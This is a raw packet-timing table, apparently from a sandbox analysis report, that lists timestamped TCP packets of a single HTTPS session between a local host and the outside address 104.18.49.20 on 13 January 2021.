Jan 13, 2021 13:45:27.725348949 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.725411892 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.725474119 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.726001978 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.726038933 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.726098061 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.726675987 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.726715088 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.726774931 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.727344990 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.727386951 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.727448940 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.727946997 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.727996111 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.728061914 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.728643894 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.728684902 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.728744984 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.729293108 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.729335070 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.729556084 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.729974031 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.730014086 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.730060101 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.730614901 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.730655909 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.730706930 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.731240988 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.731277943 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.731328964 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.731960058 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.731998920 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.732053041 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.732589006 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.732681036 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.732733965 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.733333111 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.733401060 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.733448029 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.733874083 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.733915091 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.733959913 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.734553099 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.734591961 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.734643936 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.735236883 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.735276937 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.735326052 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.735835075 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.735872984 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.735928059 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.736578941 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.736618042 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.736663103 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.737236977 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.737277985 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.737329960 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.738512039 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.738550901 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.738588095 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.738590002 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.738681078 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.739120007 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.739157915 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.739186049 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.739833117 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.739871979 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.739945889 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.740566015 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.740605116 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.740648031 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.741080999 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.741128922 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.741173983 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.741729975 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.741769075 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.741815090 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.741815090 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.743297100 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.743335962 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.743352890 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.743381977 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.743561983 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.743652105 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.743699074 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.743741989 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.743745089 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.744652033 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.744693041 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.744705915 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.744730949 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.744779110 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.745624065 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.745662928 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.745699883 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.745718956 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.746655941 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.746695995 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.746706963 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.746731997 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.746985912 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.747536898 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.747579098 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.747616053 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.747627020 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.748567104 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.748608112 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.748621941 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.748642921 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.748687029 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.749480963 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.749521971 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.749557018 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.749567032 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.750468016 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.750508070 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.750535011 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.750545979 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.750595093 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.751451969 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.751499891 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.751540899 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.751549006 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.752439022 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.752475977 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.752490044 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.752513885 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.752562046 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.753362894 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.753431082 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.753480911 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.753963947 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.754007101 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.754044056 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.754049063 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.754993916 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.755064011 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.755079031 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.755119085 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.755249977 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.755896091 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.755934000 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.755971909 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.755985022 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.756901026 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.756941080 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.756957054 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.756977081 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.757020950 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.757904053 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.757942915 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.757993937 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.758008957 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.758800030 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.758840084 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.758876085 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.758877993 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.759200096 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.759809971 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.759846926 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.759885073 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.759922981 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.760792017 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.760833025 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.760847092 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.760869026 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.760962009 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.761734962 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.761775017 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.761811018 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.761826992 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.762697935 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.762737989 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.762773991 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.762779951 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.762933016 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.765635014 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.765675068 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.765712023 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.765739918 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.766176939 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.766213894 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.766235113 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.766259909 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.766318083 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.767065048 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.767105103 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.767141104 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.767158985 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.768024921 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.768071890 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.768076897 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.768115044 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.768167973 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.768996000 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.769037008 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.769073009 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.769088030 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.769954920 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.769985914 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.770015001 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.814950943 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.815002918 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.815051079 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.815093994 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.815129995 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.815160036 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.815177917 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.815196037 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.815197945 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.815216064 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.815247059 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.815289021 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.815305948 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.815326929 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.815366983 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.815383911 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.815403938 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.815433025 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.815464020 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.815788984 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.815828085 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.815865040 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.815875053 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.815917969 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.815936089 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.815954924 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.815992117 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.816008091 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.816029072 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.816065073 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.816082954 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.816742897 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.816782951 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.816807032 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.816819906 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.816854954 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.816879034 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.816901922 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.816957951 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.817002058 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.817043066 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.817090034 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.817105055 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.817687035 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.817725897 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.817754984 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.817763090 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.817800045 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.817819118 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.817836046 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.817873001 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.817888021 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.817909002 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.817955971 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.817965031 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.818569899 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.818607092 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.818636894 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.818917036 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.819001913 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.819037914 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.819058895 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.819076061 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.819108963 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.819175005 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.825480938 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.825530052 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.825571060 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.825586081 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.825608015 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.825623989 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.825645924 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.825683117 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.825712919 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.825719118 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.825757027 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.825772047 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.825859070 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.825896978 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.825917959 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.826008081 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.826045036 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.826065063 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.826082945 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.826139927 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.826358080 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.826400995 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.826457977 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.826873064 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.826910973 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.826956987 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.826967001 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.826997995 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.827033997 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.827070951 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.827070951 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.827131033 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.827250004 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.827290058 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.827325106 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.827372074 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.827375889 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.827413082 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.827426910 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.827449083 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.827486038 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.827502966 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.827522993 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.827579021 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.828211069 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.828253031 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.828288078 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.828321934 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.828335047 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.828377008 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.828412056 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.828421116 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.828449965 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.828474998 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.828486919 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.828563929 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.829097986 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.829144955 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.829185963 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.829215050 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.829243898 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.829272985 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.829313040 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.829356909 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.829471111 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.829490900 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.829742908 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.830082893 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.830131054 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.830173016 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.830189943 CET	49210	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:27.830209017 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.830245972 CET	443	49210	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:27.830282927 CET	443	49210	104.18.49.20	192.168.2.22
